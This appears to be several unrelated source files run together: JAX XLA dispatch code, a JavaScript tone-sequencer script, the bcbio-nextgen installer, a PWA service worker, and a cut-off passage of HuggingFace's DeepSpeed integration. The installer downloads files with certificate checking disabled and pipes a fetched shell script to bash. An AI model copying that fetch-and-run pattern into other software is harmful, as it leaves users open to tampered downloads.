https://github.com/google/jax/issues/2926.") if nreps > xb.device_count(backend): raise ValueError( f"compiling computation `{name}` that requires {nreps} replicas, but " f"only {xb.device_count(backend)} XLA devices are available.") if xb.process_count() > 1 and (nreps > 1 or jaxpr_has_pmap(jaxpr)): raise NotImplementedError( "jit of multi-host pmap not implemented (and jit-of-pmap can cause " "extra data movement anyway, so maybe you don't want it after all).") # pass long arg lists as tuple for TPU tuple_args = len(abstract_args) > 100 axis_env = xla.AxisEnv(nreps, (), ()) name_stack = xla.extend_name_stack(xla.wrap_name(name, 'jit')) closed_jaxpr = core.ClosedJaxpr(jaxpr, consts) module: Union[str, xc.XlaComputation] module_name = f"jit_{fun.__name__}" if config.jax_enable_mlir: module = mlir.lower_jaxpr_to_module( module_name, closed_jaxpr, backend.platform, axis_env, name_stack, donated_invars) else: module = xla.lower_jaxpr_to_xla_module( module_name, closed_jaxpr, backend.platform, axis_env, name_stack, tuple_args, donated_invars, replicated_args=None, arg_partitions=None, out_partitions=None) return XlaComputation( name, module, False, donated_invars, nreps=nreps, device=device, backend=backend, tuple_args=tuple_args, in_avals=abstract_args, out_avals=out_avals, kept_var_idx=kept_var_idx) def prefetch(x): if isinstance(x, device_array.DeviceArray): x.copy_to_host_async() return x def jaxpr_literals(jaxpr): """Generates all the literals inside a jaxpr, including nested subjaxprs.""" for eqn in jaxpr.eqns: for v in eqn.invars: if type(v) is core.Literal: yield v.val for subjaxpr in core.subjaxprs(jaxpr): yield from jaxpr_literals(subjaxpr) def jaxpr_has_pmap(jaxpr): """Whether there is an xla_pmap primitive anywhere inside a Jaxpr.""" for eqn in jaxpr.eqns: if 'xla_pmap' in eqn.primitive.name: return True for subjaxpr in core.subjaxprs(jaxpr): if jaxpr_has_pmap(subjaxpr): return True return False def _prune_unused_inputs( jaxpr: core.Jaxpr) -> Tuple[core.Jaxpr, Set[int], Set[int]]: used = {v for v in jaxpr.outvars if isinstance(v, core.Var)} # TODO(zhangqiaorjc): Improve the DCE algorithm by also pruning primitive # applications that do not produce used outputs. Must handle side-effecting # primitives and nested jaxpr. used.update( v for eqn in jaxpr.eqns for v in eqn.invars if isinstance(v, core.Var)) kept_const_idx, new_constvars = util.unzip2( (i, v) for i, v in enumerate(jaxpr.constvars) if v in used) kept_var_idx, new_invars = util.unzip2( (i, v) for i, v in enumerate(jaxpr.invars) if v in used) new_jaxpr = core.Jaxpr(new_constvars, new_invars, jaxpr.outvars, jaxpr.eqns) return new_jaxpr, set(kept_const_idx), set(kept_var_idx) # We can optionally set a Jaxpr rewriter that can be applied just before # compilation. This mechanism is used for compiling id_tap, we can # remove it once we bring the id_tap implementation into the core. outfeed_rewriter: Optional[Callable[[core.Jaxpr], core.Jaxpr]] = None def apply_outfeed_rewriter(jaxpr: core.Jaxpr) -> core.Jaxpr: if outfeed_rewriter is not None: return outfeed_rewriter(jaxpr) else: return jaxpr def jaxpr_replicas(jaxpr) -> int: """The number of replicas needed for a jaxpr. For a eqn, multiply the `axis_size` with the `jaxpr_replicas` of the subjaxprs. For a list of eqns, take the maximum number of replicas. """ if isinstance(jaxpr, core.ClosedJaxpr): jaxpr = jaxpr.jaxpr return max(unsafe_map(eqn_replicas, jaxpr.eqns), default=1) # TODO(mattjj): this function assumes that only pmap has a parameter named # axis_size, and that it corresponds to cross-replica mapping def eqn_replicas(eqn): call_jaxpr = eqn.params.get("call_jaxpr") if call_jaxpr: return eqn.params.get('axis_size', 1) * jaxpr_replicas(call_jaxpr) elif eqn.primitive in xla._initial_style_primitives: return initial_style_primitive_replicas(eqn.params) else: return 1 def initial_style_primitive_replicas(params): return max(core.traverse_jaxpr_params(jaxpr_replicas, params).values(), default=1) def _xla_callable_device(nreps, backend, device, arg_devices): if nreps > 1: if device is not None or backend is not None: raise ValueError(f"can't specify device or backend for jit-of-pmap, " f"got device={device} and backend={backend}") return None else: if device is None and backend is None: return _device_from_arg_devices(arg_devices) elif device is not None and backend is None: return device elif device is None and backend is not None: return xb.get_backend(backend).get_default_device_assignment(1)[0] else: assert False # Unreachable given the error check in _xla_callable # Argument and result handlers num_buffers_handlers: Dict[Type[core.AbstractValue], Callable[[core.AbstractValue], int]] = {} def aval_to_num_buffers(aval: core.AbstractValue) -> int: """Returns the number of buffers in the runtime representation of `aval`. In general this may differ from the number of buffers in the compiler-IR representation of the same value. """ try: return num_buffers_handlers[type(aval)](aval) except KeyError as err: raise TypeError(f"No num_buffers handler for type: {type(aval)}") from err # TODO(phawkins): use zero buffers to represent a unit. num_buffers_handlers[core.AbstractUnit] = lambda _: 1 num_buffers_handlers[core.AbstractToken] = lambda _: 1 num_buffers_handlers[core.ShapedArray] = lambda _: 1 num_buffers_handlers[core.ConcreteArray] = lambda _: 1 if MYPY: ResultHandler = Any else: class ResultHandler(Protocol): def __call__(self, *args: xla.Buffer) -> Any: """Boxes raw buffers into their user-facing representation.""" def aval_to_result_handler(sticky_device: Optional[Device], aval: core.AbstractValue) -> ResultHandler: try: return result_handlers[type(aval)](sticky_device, aval) except KeyError as err: raise TypeError(f"No result handler for type: {type(aval)}") from err def array_result_handler(sticky_device: Optional[Device], aval: core.ShapedArray): if aval.dtype is dtypes.float0: return lambda _: np.zeros(aval.shape, dtypes.float0) return partial(device_array.make_device_array, core.raise_to_shaped(aval), sticky_device) result_handlers: Dict[ Type[core.AbstractValue], Callable[[Optional[Device], Any], ResultHandler]] = {} result_handlers[core.AbstractUnit] = lambda _, __: lambda _: core.unit result_handlers[core.AbstractToken] = lambda _, __: lambda _: core.token result_handlers[core.ShapedArray] = array_result_handler result_handlers[core.ConcreteArray] = array_result_handler def needs_check_special(): return config.jax_debug_infs or config.jax_debug_nans def check_special(name, bufs): if needs_check_special(): for buf in bufs: _check_special(name, buf.xla_shape(), buf) def _check_special(name, xla_shape, buf): assert not xla_shape.is_tuple() if dtypes.issubdtype(xla_shape.element_type(), np.inexact): if config.jax_debug_nans and np.any(np.isnan(buf.to_py())): raise FloatingPointError(f"invalid value (nan) encountered in {name}") if config.jax_debug_infs and np.any(np.isinf(buf.to_py())): raise FloatingPointError(f"invalid value (inf) encountered in {name}") def _execute_compiled(name: str, compiled: XlaExecutable, output_buffer_counts: Optional[Sequence[int]], result_handlers, kept_var_idx, *args): device, = compiled.local_devices() input_bufs = util.flatten( device_put(x, device) for i, x in enumerate(args) if i in kept_var_idx) out_bufs = compiled.execute(input_bufs) check_special(name, out_bufs) if output_buffer_counts is None: return (result_handlers[0](*out_bufs),) return tuple( handler(*bs) for handler, bs in unsafe_zip(result_handlers, util.unflatten(out_bufs, output_buffer_counts))) def _execute_replicated(name: str, compiled: XlaExecutable, output_buffer_counts: Optional[Sequence[int]], result_handlers, kept_var_idx, *args): input_bufs = [ util.flatten( device_put(x, device) for i, x in enumerate(args) if i in kept_var_idx) for device in compiled.local_devices() ] out_bufs = [ buf[0] for buf in compiled.execute_sharded_on_local_devices( list(zip(*input_bufs))) ] check_special(name, out_bufs) if output_buffer_counts is None: return (result_handlers[0](*out_bufs),) return tuple( handler(*bs) for handler, bs in unsafe_zip(result_handlers, util.unflatten(out_bufs, output_buffer_counts))) def _execute_trivial(jaxpr, device: Optional[Device], consts, avals, handlers, kept_var_idx, *args): env = {core.unitvar: core.unit} pruned_args = (x for i, x in enumerate(args) if i in kept_var_idx) map(env.setdefault, jaxpr.invars, pruned_args) map(env.setdefault, jaxpr.constvars, consts) outs = [xla.canonicalize_dtype(v.val) if type(v) is core.Literal else env[v] for v in jaxpr.outvars] return [_copy_device_array_to_device(x, device) if device_array.type_is_device_array(x) else h(*device_put(x, device)) for h, x in zip(handlers, outs)] class XlaComputation: name: str _is_trivial: bool _executable: Optional['XlaCompiledComputation'] _donated_invars: Optional[Sequence[bool]] def __init__(self, name: str, hlo, is_trivial: bool, donated_invars: Optional[Sequence[bool]], **compile_args): self.name = name self._hlo = hlo self._is_trivial = is_trivial self._donated_invars = donated_invars self._executable = None self.compile_args = compile_args def is_trivial(self): return self._is_trivial def hlo(self) -> xc.XlaComputation: if self.is_trivial(): raise ValueError("A trivial computation has no HLO") if isinstance(self._hlo, xc.XlaComputation): return self._hlo return xe.mlir.mlir_module_to_xla_computation( mlir.module_to_string(self._hlo), use_tuple_args=self.compile_args["tuple_args"]) def mhlo(self) -> ir.Module: if self.is_trivial(): raise ValueError("A trivial computation has no MHLO") if isinstance(self._hlo, xc.XlaComputation): module_str = xe.mlir.xla_computation_to_mlir_module(self._hlo) with mlir.make_ir_context(): return ir.Module.parse(module_str) return self._hlo def compile(self) -> 'XlaCompiledComputation': if self._executable is None: if self.is_trivial(): self._executable = XlaCompiledComputation.from_trivial_jaxpr( **self.compile_args) else: self._executable = XlaCompiledComputation.from_xla_computation( self.name, self._hlo, **self.compile_args) return self._executable @profiler.annotate_function def backend_compile(backend, built_c, options): # we use a separate function call to ensure that XLA compilation appears # separately in Python profiling results return backend.compile(built_c, compile_options=options) # TODO(phawkins): update users. xla.backend_compile = backend_compile _ir_dump_counter = itertools.count() def _make_string_safe_for_filename(s: str) -> str: return re.sub(r'[^\w.)( -]', '', s) def _dump_ir_to_file(name: str, ir: str): id = next(_ir_dump_counter) name = f"jax_ir{id}_{_make_string_safe_for_filename(name)}.mlir" name = os.path.join(FLAGS.jax_dump_ir_to, name) with open(name, "w") as f: f.write(ir) def compile_or_get_cached(backend, computation, compile_options): # Avoid import cycle between jax and jax.experimental from jax.experimental.compilation_cache import compilation_cache as cc if isinstance(computation, ir.Module): module_name = computation.operation.name computation = mlir.module_to_string(computation) else: module_name = computation.name() # Persistent compilation cache only implemented on TPU. # TODO(skye): add warning when initializing cache on unsupported default platform if cc.is_initialized() and backend.platform == 'tpu': cached_executable = cc.get_executable(computation, compile_options, backend) if cached_executable is not None: logging.info('Persistent compilation cache hit for %s.', module_name) return cached_executable else: compiled = backend_compile(backend, computation, compile_options) cc.put_executable(module_name, computation, compile_options, compiled, backend) return compiled if FLAGS.jax_dump_ir_to: ir_str = (computation if isinstance(computation, str) else computation.as_hlo_text()) _dump_ir_to_file(module_name, ir_str) return backend_compile(backend, computation, compile_options) class XlaCompiledComputation: def __init__(self, xla_executable, in_avals, kept_var_idx, unsafe_call): self._xla_executable = xla_executable self.in_avals = in_avals self._kept_var_idx = kept_var_idx self.unsafe_call = unsafe_call @staticmethod def from_xla_computation( name: str, xla_computation, nreps: int, device: Optional[Device], backend, tuple_args: bool, in_avals, out_avals, kept_var_idx) -> 'XlaCompiledComputation': sticky_device = device result_handlers = map(partial(aval_to_result_handler, sticky_device), out_avals) options = xb.get_compile_options( num_replicas=nreps, num_partitions=1, device_assignment=(sticky_device.id,) if sticky_device else None) options.parameter_is_tupled_arguments = tuple_args with log_elapsed_time(f"Finished XLA compilation of {name} " "in {elapsed_time} sec"): compiled = compile_or_get_cached(backend, xla_computation, options) buffer_counts = (None if len(out_avals) == 1 else [aval_to_num_buffers(aval) for aval in out_avals]) execute = _execute_compiled if nreps == 1 else _execute_replicated unsafe_call = partial(execute, name, compiled, buffer_counts, result_handlers, kept_var_idx) return XlaCompiledComputation(compiled, in_avals, kept_var_idx, unsafe_call) def is_trivial(self): return self._xla_executable == None def xla_executable(self): if self.is_trivial(): raise ValueError("A trivial compiled computation has no XLA executable") return self._xla_executable @staticmethod def from_trivial_jaxpr(jaxpr, consts, device, in_avals, out_avals, kept_var_idx) -> 'XlaCompiledComputation': result_handlers = map(partial(aval_to_result_handler, device), out_avals) unsafe_call = partial(_execute_trivial, jaxpr, device, consts, out_avals, result_handlers, kept_var_idx) return XlaCompiledComputation(None, in_avals, kept_var_idx, unsafe_call) def call(self, *args): arg_specs = unsafe_map(arg_spec, args) arg_avals = [spec[0] for i, spec in enumerate(arg_specs) if i in self._kept_var_idx] check_arg_avals_for_call(self.in_avals, arg_avals) return self.unsafe_call(*args) def check_arg_avals_for_call(ref_avals, arg_avals): if len(ref_avals) != len(arg_avals): raise TypeError( f"Computation compiled for {len(ref_avals)} inputs " f"but called with {len(arg_avals)}") for ref_aval, arg_aval in zip(ref_avals, arg_avals): if not core.typematch(ref_aval, arg_aval): ref_avals_fmt = ', '.join(str(a) for a in ref_avals) arg_avals_fmt = ', '.join(str(a) for a in arg_avals) raise TypeError( f"Computation compiled for input types:\n {ref_avals_fmt}\n" f"called with:\n {arg_avals_fmt}") def device_put(x, device: Optional[Device] = None) -> Tuple[Any]: x = xla.canonicalize_dtype(x) try: return device_put_handlers[type(x)](x, device) except KeyError as err: raise TypeError(f"No device_put handler for type: {type(x)}") from err # TODO(phawkins): update users. xla.device_put = device_put def _device_put_array(x, device: Optional[Device]): backend = xb.get_device_backend(device) if x.dtype is dtypes.float0: x = np.zeros(x.shape, dtype=np.dtype(bool)) return (backend.buffer_from_pyval(x, device),) def _device_put_scalar(x, device): return _device_put_array(dtypes.coerce_to_array(x), device) def _device_put_unit(_, device): backend = xb.get_device_backend(device) return (backend.buffer_from_pyval(np.zeros((), dtype=np.dtype(np.bool_)), device),) def _device_put_token(_, device): backend = xb.get_device_backend(device) return (backend.buffer_from_pyval(np.zeros((), dtype=np.dtype(np.bool_)), device),) _scalar_types = dtypes.python_scalar_dtypes.keys() device_put_handlers: Dict[Any, Callable[[Any, Optional[Device]], Tuple[Any]]] = {} device_put_handlers.update((t, _device_put_array) for t in array_types) device_put_handlers.update((t, _device_put_scalar) for t in _scalar_types) device_put_handlers[core.Unit] = _device_put_unit device_put_handlers[core.Token] = _device_put_token def _device_put_device_array(x: Union[device_array.DeviceArrayProtocol, device_array._DeviceArray], device: Optional[Device]): x = _copy_device_array_to_device(x, device) return (x.device_buffer,) for t in device_array.device_array_types: device_put_handlers[t] = _device_put_device_array def _copy_device_array_to_device(x: Union[device_array.DeviceArrayProtocol, device_array._DeviceArray], device: Optional[xc.Device]) -> Union[device_array.DeviceArrayProtocol, device_array._DeviceArray]: if device is None: # no copying to be done because there's no target specified return x elif xb.get_device_backend(device).platform == x.device_buffer.platform(): # source and target platforms are the same if x.device_buffer.device() == device: # no copying to be done because source equals target if x._device == device: return x else: moved_buf = x.device_buffer # We need to change stickyness else: # move the buffer with a device-to-device copy moved_buf = x.device_buffer.copy_to_device(device) else: # buffers from different XLA backends are passed through the host. backend = xb.get_device_backend(device) moved_buf = backend.buffer_from_pyval(x.device_buffer.to_py(), device) return device_array.make_device_array(x.aval, device, moved_buf) def _device_put_impl(x, device: Optional[Device] = None): if device_array.type_is_device_array(x): return _copy_device_array_to_device(x, device) try: a = xla.abstractify(x) except TypeError as err: raise TypeError( f"Argument '{x}' of type {type(x)} is not a valid JAX type") from err return aval_to_result_handler(device, a)(*device_put(x, device)) device_put_p = core.Primitive('device_put') device_put_p.def_impl(_device_put_impl) device_put_p.def_abstract_eval(lambda x, device=None: x) xla.translations[device_put_p] = lambda c, x, device=None: x ad.deflinear2(device_put_p, lambda cotangent, _, **kwargs: [cotangent]) masking.defvectorized(device_put_p) batching.defvectorized(device_put_p) def _device_put_lowering(ctx, x, *, device): return [x] mlir.register_lowering(device_put_p, _device_put_lowering)
let sequence,sequence2,endpoint,endpoint2,offset,offset2; let throttle = __.throttle_factory(16); function init() { console.log("init"); sequence = __.fill_array(7,idx => { return __.pitch2freq(__.scales("major")[idx] + __.random(2,7) * 12); }); sequence2 = __.fill_array(7,idx => { return __.pitch2freq(__.scales("major")[idx] + __.random(2,7) * 12); }); endpoint = __.random(4,7); endpoint2 = __.random(4,7); offset = __.random(0,3); offset2 = __.random(0,3); } __().square({id:"sq2"}).gain(0).panner(-1).out(); __().square({id:"sq1"}).gain(0).panner(1).out().play() __.loop(130,function(index,data,array){ __("#sq1").frequency(__.array_next(sequence,offset,endpoint)); __("#sq2").frequency(__.array_next(sequence2,offset2,endpoint2)); if(throttle()) { init(); } }); init(); __.loop("start"); __("gain").volume(1/2);
#!/usr/bin/env python """Automatically install required tools and data to run bcbio-nextgen pipelines. This automates the steps required for installation and setup to make it easier to get started with bcbio-nextgen. The defaults provide data files for human variant calling. Requires: git, wget, bgzip2, Python 3 or 2.7 """ from __future__ import print_function import argparse import collections import contextlib import datetime import os import platform import shutil import subprocess import sys try: import urllib2 as urllib_request except ImportError: import urllib.request as urllib_request REMOTES = { "requirements": "https://raw.githubusercontent.com/bcbio/bcbio-nextgen/master/requirements-conda.txt", "gitrepo": "https://github.com/bcbio/bcbio-nextgen.git", "system_config": "https://raw.githubusercontent.com/bcbio/bcbio-nextgen/master/config/bcbio_system.yaml", "anaconda": "https://repo.anaconda.com/miniconda/Miniconda3-py37_4.8.2-%s-x86_64.sh" } def main(args, sys_argv): check_arguments(args) check_dependencies() with bcbio_tmpdir(): setup_data_dir(args) print("Installing isolated base python installation") anaconda = install_anaconda_python(args) if args.use_mamba: conda_bin = "mamba" else: conda_bin = "conda" print(f"Installing {conda_bin}") anaconda = install_mamba(anaconda, args) print("Installing conda-build") subprocess.check_call([anaconda[conda_bin], "install", "--yes", "conda-build"]) print("Installing bcbio-nextgen") bcbio = install_conda_pkgs(anaconda, args) bootstrap_bcbionextgen(anaconda, args) print("Installing data and third party dependencies") system_config = write_system_config(REMOTES["system_config"], args.datadir, args.tooldir) setup_manifest(args.datadir) subprocess.check_call([bcbio, "upgrade"] + _clean_args(sys_argv, args)) print("Finished: bcbio-nextgen, tools and data installed") print(" Genome data installed in:\n %s" % args.datadir) if args.tooldir: print(" Tools installed in:\n %s" % args.tooldir) print(" Ready to use system configuration at:\n %s" % system_config) print(" Edit configuration file as needed to match your machine or cluster") def _clean_args(sys_argv, args): """Remove data directory from arguments to pass to upgrade function remove --mamba""" base = [x for x in sys_argv if x.startswith("-") or not args.datadir == os.path.abspath(os.path.expanduser(x))] # Remove installer only options we don't pass on base = [x for x in base if x not in set(["--minimize-disk"])] if "--nodata" in base: base.remove("--nodata") else: base.append("--data") if "--mamba" in base: base.remove("--mamba") return base def bootstrap_bcbionextgen(anaconda, args): if args.upgrade == "development": git_tag = "@%s" % args.revision if args.revision != "master" else "" subprocess.check_call([anaconda["pip"], "install", "--upgrade", "--no-deps", "git+%s%s#egg=bcbio-nextgen" % (REMOTES["gitrepo"], git_tag)]) def install_mamba(anaconda, args): """ Install conda or mamba""" if args.use_mamba: conda_bin = "mamba" else: conda_bin = "conda" anaconda_dir = os.path.join(args.datadir, "anaconda") bindir = os.path.join(anaconda_dir, "bin") mamba = os.path.join(bindir, conda_bin) subprocess.check_call([anaconda["conda"], "install", "--yes", conda_bin]) anaconda[conda_bin] = mamba return anaconda def install_conda_pkgs(anaconda, args): env = dict(os.environ) # Try to avoid user specific pkgs and envs directories # https://github.com/conda/conda/issues/6748 env["CONDA_PKGS_DIRS"] = os.path.join(anaconda["dir"], "pkgs") env["CONDA_ENVS_DIRS"] = os.path.join(anaconda["dir"], "envs") conda_bin = anaconda["conda"] if "mamba" in anaconda.keys(): mamba_bin = anaconda["mamba"] else: mamba_bin = anaconda["conda"] if not os.path.exists(os.path.basename(REMOTES["requirements"])): subprocess.check_call(["wget", "--no-check-certificate", REMOTES["requirements"]]) if args.minimize_disk: subprocess.check_call([mamba_bin, "install", "--yes", "nomkl"], env=env) subprocess.check_call([mamba_bin, "install", "--yes", "--only-deps", "bcbio-nextgen"], env=env) subprocess.check_call([conda_bin, "install", "--yes", "--file", os.path.basename(REMOTES["requirements"])], env=env) return os.path.join(anaconda["dir"], "bin", "bcbio_nextgen.py") def _guess_distribution(): """Simple approach to identify if we are on a MacOSX or Linux system for Anaconda""" if platform.mac_ver()[0]: return "macosx" else: return "linux" def install_anaconda_python(args): """Provide isolated installation of Anaconda python for running bcbio-nextgen. http://docs.continuum.io/anaconda/index.html """ anaconda_dir = os.path.join(args.datadir, "anaconda") bindir = os.path.join(anaconda_dir, "bin") conda = os.path.join(bindir, "conda") if not os.path.exists(anaconda_dir) or not os.path.exists(conda): if os.path.exists(anaconda_dir): shutil.rmtree(anaconda_dir) dist = args.distribution if args.distribution else _guess_distribution() url = REMOTES["anaconda"] % ("MacOSX" if dist.lower() == "macosx" else "Linux") if not os.path.exists(os.path.basename(url)): subprocess.check_call(['wget', '--progress=dot:giga', url]) subprocess.check_call(['bash', os.path.basename(url), '-b', '-p', anaconda_dir]) # conda-forge channel should have the highest priority # https://bioconda.github.io/user/install.html#set-up-channels subprocess.check_call([conda, 'config', '--add', 'channels', 'bioconda', '--file', os.path.join(anaconda_dir, '.condarc')]) subprocess.check_call([conda, 'config', '--add', 'channels', 'conda-forge', '--file', os.path.join(anaconda_dir, '.condarc')]) return {"conda": conda, "pip": os.path.join(bindir, "pip"), "dir": anaconda_dir} def setup_manifest(datadir): """Create barebones manifest to be filled in during update""" manifest_dir = os.path.join(datadir, "manifest") if not os.path.exists(manifest_dir): os.makedirs(manifest_dir) def write_system_config(base_url, datadir, tooldir): """Write a bcbio_system.yaml configuration file with tool information""" out_file = os.path.join(datadir, "galaxy", os.path.basename(base_url)) if not os.path.exists(os.path.dirname(out_file)): os.makedirs(os.path.dirname(out_file)) if os.path.exists(out_file): # if no tool directory and exists, do not overwrite if tooldir is None: return out_file else: bak_file = out_file + ".bak%s" % (datetime.datetime.now().strftime("%Y%M%d_%H%M")) shutil.copy(out_file, bak_file) if tooldir: java_basedir = os.path.join(tooldir, "share", "java") rewrite_ignore = ("log",) with contextlib.closing(urllib_request.urlopen(base_url)) as in_handle: with open(out_file, "w") as out_handle: in_resources = False in_prog = None for line in (l.decode("utf-8") for l in in_handle): if line[0] != " ": in_resources = line.startswith("resources") in_prog = None elif (in_resources and line[:2] == " " and line[2] != " " and not line.strip().startswith(rewrite_ignore)): in_prog = line.split(":")[0].strip() # Update java directories to point to install directory, avoid special cases elif line.strip().startswith("dir:") and in_prog and in_prog not in ["log", "tmp"]: final_dir = os.path.basename(line.split()[-1]) if tooldir: line = "%s: %s\n" % (line.split(":")[0], os.path.join(java_basedir, final_dir)) in_prog = None elif line.startswith("galaxy"): line = "# %s" % line out_handle.write(line) return out_file def setup_data_dir(args): if not os.path.exists(args.datadir): cmd = ["mkdir", "-p", args.datadir] subprocess.check_call(cmd) @contextlib.contextmanager def bcbio_tmpdir(): orig_dir = os.getcwd() work_dir = os.path.join(os.getcwd(), "tmpbcbio-install") if not os.path.exists(work_dir): os.makedirs(work_dir) os.chdir(work_dir) yield work_dir os.chdir(orig_dir) shutil.rmtree(work_dir) def check_arguments(args): """Ensure argruments are consistent and correct""" if args.toolplus and not args.tooldir: raise argparse.ArgumentTypeError("Cannot specify --toolplus without --tooldir") def check_dependencies(): """Ensure required tools for installation are present""" print("Checking required dependencies") for dep, msg in [(["git", "--version"], "Git (http://git-scm.com/)"), (["wget", "--version"], "wget"), (["bzip2", "-h"], "bzip2")]: try: p = subprocess.Popen(dep, stderr=subprocess.STDOUT, stdout=subprocess.PIPE) out, code = p.communicate() except OSError: out = "Executable not found" code = 127 if code == 127: raise OSError("bcbio-nextgen installer requires %s\n%s" % (msg, out)) def _check_toolplus(x): """Parse options for adding non-standard/commercial tools like GATK and MuTecT""" import argparse Tool = collections.namedtuple("Tool", ["name", "fname"]) std_choices = set(["data", "dbnsfp", "ericscript"]) if x in std_choices: return Tool(x, None) elif "=" in x and len(x.split("=")) == 2: name, fname = x.split("=") fname = os.path.normpath(os.path.realpath(fname)) if not os.path.exists(fname): raise argparse.ArgumentTypeError("Unexpected --toolplus argument for %s. " "File does not exist: %s" % (name, fname)) return Tool(name, fname) else: raise argparse.ArgumentTypeError("Unexpected --toolplus argument. " "Expect toolname=filename.") if __name__ == "__main__": parser = argparse.ArgumentParser( description="Automatic installation for bcbio-nextgen pipelines") parser.add_argument("datadir", help="Directory to install genome data", type=lambda x: (os.path.abspath(os.path.expanduser(x)))) parser.add_argument("--cores", default=1, help="Number of cores to use if local indexing is necessary.") parser.add_argument("--tooldir", help="Directory to install 3rd party software tools. " "Leave unspecified for no tools", type=lambda x: (os.path.abspath(os.path.expanduser(x))), default=None) parser.add_argument("--toolplus", help="Specify additional tool categories to install", action="append", default=[], type=_check_toolplus) parser.add_argument("--datatarget", help="Data to install. Allows customization or install of extra data.", action="append", default=[], choices=["variation", "rnaseq", "smallrna", "gemini", "vep", "dbnsfp", "battenberg", "kraken", "ericscript", "gnomad"]) parser.add_argument("--genomes", help="Genomes to download", action="append", default=[], choices=["BDGP6", "canFam3", "dm3", "galGal4", "GRCh37", "GRCz10", "GRCz11", "hg19", "hg38", "hg38-noalt", "mm10", "mm9", "phix", "pseudomonas_aeruginosa_ucbpp_pa14", "rn5", "rn6", "sacCer3", "Sscrofa11.1", "TAIR10", "WBcel235", "xenTro3"]) parser.add_argument("--aligners", help="Aligner indexes to download", action="append", default=[], choices=["bbmap", "bowtie", "bowtie2", "bwa", "hisat2", "minimap2", "novoalign", "rtg", "snap", "star", "ucsc"]) parser.add_argument("--nodata", help="Do not install data dependencies", dest="install_data", action="store_false", default=True) parser.add_argument("--mamba", help="Use mamba instead of conda", dest="use_mamba", action="store_true", default=False) parser.add_argument("--isolate", help="Created an isolated installation without PATH updates", dest="isolate", action="store_true", default=False) parser.add_argument("--minimize-disk", help="Try to minimize disk usage (no MKL extensions)", dest="minimize_disk", action="store_true", default=False) parser.add_argument("-u", "--upgrade", help="Code version to install", choices=["stable", "development"], default="stable") parser.add_argument("--revision", help="Specify a git commit hash or tag to install", default="master") parser.add_argument("--distribution", help="Operating system distribution", default="", choices=["ubuntu", "debian", "centos", "scientificlinux", "macosx"]) if len(sys.argv) == 1: parser.print_help() else: main(parser.parse_args(), sys.argv[1:])
const FILES_TO_CACHE = [ "/", "/index.html", "/styles.css", "/index.js", "/db.js", "/manifest.webmanifest", "/icons/icon-192x192.png", "/icons/icon-512x512.png", ]; const CACHE_NAME = "static-cache-v2"; const DATA_CACHE_NAME = "data-cache-v1"; // install self.addEventListener("install", function(evt) { evt.waitUntil( caches.open(CACHE_NAME).then(cache => { console.log("Your files were pre-cached successfully!"); return cache.addAll(FILES_TO_CACHE); }) ); self.skipWaiting(); }); // activate self.addEventListener("activate", function(evt) { evt.waitUntil( caches.keys().then(keyList => { return Promise.all( keyList.map(key => { if (key !== CACHE_NAME && key !== DATA_CACHE_NAME) { console.log("Removing old cache data", key); return caches.delete(key); } }) ); }) ); self.clients.claim(); }); // fetch self.addEventListener("fetch", function(evt) { // cache successful requests to the API if (evt.request.url.includes("/api/transaction")) { evt.respondWith( caches.open(DATA_CACHE_NAME).then(cache => { return fetch(evt.request) .then(response => { // If the response was good, clone it and store it in the cache. if (response.status === 200) { cache.put(evt.request.url, response.clone()); } return response; }) .catch(err => { // Network request failed, try to get it from the cache. return cache.match(evt.request); }); }).catch(err => console.log(err)) ); return; } // if the request is not for the API, serve static assets using "offline-first" approach. // see https://developers.google.com/web/fundamentals/instant-and-offline/offline-cookbook#cache-falling-back-to-network evt.respondWith( caches.match(evt.request).then(function(response) { return response || fetch(evt.request); }) ); });
# Copyright 2020 The HuggingFace Team. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Integration with Deepspeed """ import importlib.util import io import json import weakref from copy import deepcopy from functools import partialmethod from .dependency_versions_check import dep_version_check from .file_utils import is_torch_available from .utils import logging if is_torch_available(): import torch logger = logging.get_logger(__name__) def is_deepspeed_available(): return importlib.util.find_spec("deepspeed") is not None class HfDeepSpeedConfig: """ This object contains a DeepSpeed configuration dictionary and can be quickly queried for things like zero stage. A ``weakref`` of this object is stored in the module's globals to be able to access the config from areas where things like the Trainer object is not available (e.g. ``from_pretrained`` and ``_get_resized_embeddings``). Therefore it's important that this object remains alive while the program is still running. :class:`~transformers.Trainer` uses the ``HfTrainerDeepSpeedConfig`` subclass instead. That subclass has logic to sync the configuration with values of :class:`~transformers.TrainingArguments` by replacing special placeholder values: ``"auto"``. Without this special logic the DeepSpeed configuration is not modified in any way. Args: config_file_or_dict (:obj:`Union[str, Dict]`): path to DeepSpeed config file or dict. """ def __init__(self, config_file_or_dict): # set global weakref object set_hf_deepspeed_config(self) dep_version_check("deepspeed") if isinstance(config_file_or_dict, dict): # Don't modify user's data should they want to reuse it (e.g. in tests), because once we # modified it, it will not be accepted here again, since `auto` values would have been overridden config = deepcopy(config_file_or_dict) elif isinstance(config_file_or_dict, str): with io.open(config_file_or_dict, "r", encoding="utf-8") as f: config = json.load(f) else: raise ValueError("expecting either a path to a DeepSpeed config file or a pre-populated dict") self.config = config # zero stage - this is done as early as possible, before model is created, to allow # ``is_deepspeed_zero3_enabled`` query and getting to the early deepspeed config object # during ``zero.Init()`` which needs whether fp16 is enabled, dtype, etc. self._stage = self.get_value("zero_optimization.stage", -1) # offload self._offload = False if self.is_zero2() or self.is_zero3(): offload_devices_valid = set(["cpu", "nvme"]) offload_devices = set( [ self.get_value("zero_optimization.offload_optimizer.device"), self.get_value("zero_optimization.offload_param.device"), ] ) if len(offload_devices & offload_devices_valid) > 0: self._offload = True def find_config_node(self, ds_key_long): config = self.config # find the config node of interest if it exists nodes = ds_key_long.split(".") ds_key = nodes.pop() for node in nodes: config = config.get(node) if config is None: return None, ds_key return config, ds_key def get_value(self, ds_key_long, default=None): """ Returns the set value or ``default`` if no value is set """ config, ds_key = self.find_config_node(ds_key_long) if config is None: return default return config.get(ds_key, default) def is_true(self, ds_key_long): """ Returns :obj:`True`/:obj:`False` only if the value is set, always :obj:`False` otherwise. So use this method to ask the very specific question of whether the value is set to :obj:`True` (and it's not set to :obj:`False` or isn't set). """ value = self.get_value(ds_key_long) return False if value is None else bool(value) def is_false(self, ds_key_long): """ Returns 